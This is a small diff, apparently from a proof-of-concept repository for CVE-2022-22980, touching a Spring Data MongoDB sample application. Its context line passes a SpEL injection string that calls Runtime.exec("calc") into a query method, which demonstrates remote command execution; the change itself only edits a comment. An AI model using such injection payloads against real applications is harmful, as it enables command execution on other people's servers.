STRLCPY/CVE-2022-22980

Total 1 files

■ ■ ■ ■ ■ ■

src/main/java/com/example/accessingdatamongodb/AccessingDataMongodbApplication.java

		skipped 37 lines
38	38		// fetch an individual customer
39	39		System.out.println("Customer found with findByFirstName('Alice'):");
40	40		System.out.println("--------------------------------");
41		-	// Eval query
	41	+	// Evil query
42	42		System.out.println(repository.findByFirstName("T(java.lang.Runtime).getRuntime().exec(\"calc\")"));
43	43		// Normal query
44	44		System.out.println(repository.findByFirstName("Alice"));
		skipped 5 lines